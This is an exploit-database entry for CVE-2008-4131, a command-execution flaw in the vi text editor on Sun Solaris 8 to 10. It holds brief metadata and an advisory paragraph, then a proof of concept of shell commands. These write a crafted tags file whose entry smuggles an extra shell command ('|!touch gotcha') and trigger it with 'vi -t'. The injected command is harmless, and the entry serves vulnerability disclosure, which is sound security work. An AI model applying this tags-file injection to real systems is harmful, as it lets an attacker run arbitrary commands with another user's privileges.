Sun Solaris 9/10 Text Editors - Command Execution

Author: Eli the Bearded
type: remote
platform: solaris
port: 
date_added: 2008-09-17 
date_updated: 2014-03-20 
verified: 1 
codes: CVE-2008-4131;OSVDB-48197 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/31229/info

Sun Solaris text editors are prone to a command-execution vulnerability.

An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.

Sun Solaris 8, 9, and 10 are affected.

$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1   tags
$ vi -t file1line1
:q!
$ ls
file1   gotcha   tags
$